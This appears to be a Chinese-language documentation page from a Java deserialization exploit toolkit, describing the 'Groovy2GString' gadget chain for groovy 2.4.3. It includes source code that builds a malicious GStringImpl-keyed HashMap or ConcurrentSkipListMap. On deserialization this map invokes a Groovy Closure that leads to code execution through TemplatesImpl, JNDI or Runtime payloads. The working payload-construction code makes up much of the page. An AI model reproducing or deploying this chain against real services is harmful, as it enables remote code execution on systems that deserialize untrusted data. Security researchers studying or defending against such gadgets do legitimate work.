Skip to content

Latest commit

 

History

History
76 lines (66 loc) · 5.07 KB

File metadata and controls

76 lines (66 loc) · 5.07 KB

Groovy2 GString 链(Groovy2GString)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖org.codehaus.groovy:groovy:2.4.3

作用

以 Groovy 的 GStringImpl 作为触发点的 Closure 链。把一个内含目标 ClosureGStringImpl 放进 HashMap(或 JDK 11+ 的 ConcurrentSkipListMap),反序列化时 Map 的 readObject 会对 key 求 hashCode/toString(或 compareTo),GStringImpl 计算字符串值时会调用其 values 里的 Closure,从而触发 Closure.call。是绕过部分「不接受 AnnotationInvocationHandler/PriorityQueue」场景的 GString 变体。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口。
  • 衔接 nextTagsClosureWithTemplatesImplChainClosureWithJNDIChainClosureWithRuntimeChain —— 下游提供封装好的 Groovy Closure(TemplatesImpl 字节码 / JNDI / Runtime 三种落地)。
  • excludes:无。

源码剖析

getObject 校验下游产物为 Closure,规整后包成 GStringImpl,再按 entry 选 Map 载体:

public Object getObject(Object obj) throws Exception {
    if (!(obj instanceof Closure)) { ...throwGadgetException("Groovy2GString 需要 Closure..."); }
    Closure closure = (Closure) obj;
    Groovy2GString.normalizeClosure(closure);              // 抹平参数元数据,避免调用期报错
    GStringImpl gString = Groovy2GString.createGString(closure);
    if ("skiplist".equalsIgnoreCase(this.entry)) {
        return Groovy2GString.buildSkipListMap(gString);   // JDK 11+:compareTo 入口
    }
    return PayloadHelper.makeMap(gString, "groovy");       // 默认:HashMap.hashCode/toString 入口
}

createGString 用反射绕过构造器,把 Closure 塞进 GStringImpl.values,并清空所有字符串/哈希缓存,确保反序列化后首次求值时才真正拼接字符串、进而调用 Closure

private static GStringImpl createGString(Closure<?> closure) throws Exception {
    GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
    Reflections.setFieldValue(gString, "strings", new String[]{"", ""});   // 两段静态串
    Reflections.setFieldValue(gString, "values",  new Object[]{closure});  // 中间“插值”即 Closure
    Groovy2GString.resetGStringCache(gString);   // cachedString/string/value → null
    Groovy2GString.resetGStringHash(gString);    // hash/hashCode → 0,强制重算
    return gString;
}

GStringtoString()/hashCode() 会遍历 stringsvalues 拼接;对 values[0]Closure)求值即 Closure.call() → 执行 payload。

两种入口:

  • hashmap(默认):PayloadHelper.makeMap(gString, "groovy")gString 作为 key 放入 HashMapHashMap.readObject → hash(key) → GStringImpl.hashCode()/toString() → Closure.call
  • skiplist(JDK 11+):buildSkipListMapConcurrentSkipListMap,通过反射把某个节点的 key 替换为 gString
ConcurrentSkipListMap<GStringImpl,String> map = new ConcurrentSkipListMap<>();
map.put(new GStringImpl(new Object[0], new String[]{"1"}), "1");
map.put(new GStringImpl(new Object[0], new String[]{"2"}), "2");
Object head = Reflections.getFieldValue(map, "head");           // 反射深入内部链表节点
Object node = Reflections.getFieldValue(head, "node");
Object target = Reflections.getFieldValue(node, "next");
... // 取到第二个节点
Reflections.setFieldValue(target, "key", gString);              // 偷换 key 为恶意 GString
return map;

ConcurrentSkipListMap.readObject 重建时对 key 调用 compareToGStringImpl.compareTo → 求值 → Closure.call。之所以需要 JDK 11+,是因为该类内部字段结构(head/node/next)在不同 JDK 版本布局不同,本反射路径针对新版内部实现。

normalizeClosuremaximumNumberOfParametersparameterTypes 归零,使 Closure.call() 无参调用不因参数校验失败。

参数(@Param)

字段 名称 说明 默认 可选值
entry 入口选择 hashmapHashMap.readObject 触发;skiplistConcurrentSkipListMap.readObject(JDK 11+) hashmap hashmapskiplist

适用版本与原理要点

  • 依赖 groovy 2.4.3;核心是 GStringImpl 在字符串求值时会调用插值处的 Closure
  • skiplist 入口依赖 ConcurrentSkipListMap 内部 head/node/next/key 字段布局,标注适用 JDK 11+hashmap 入口通用性更好。
  • 相比 GroovyAnnotationInvocationHandler)与 Groovy2PriorityQueue),本变体的入口是 HashMap/SkipListMap,可在前两者被拦截或不适用时作为替代。
  • 无回显;最终执行取决于下游 Closure

所属预设链

  • 自由构件,未直接出现在预设链。

关联

  • 下游(nextTags):ClosureWithTemplatesImpl(Sandboxed)、ClosureWithJNDI(Sandboxed)、ClosureWithRuntime(Sandboxed)。
  • 同族:GroovyGroovy2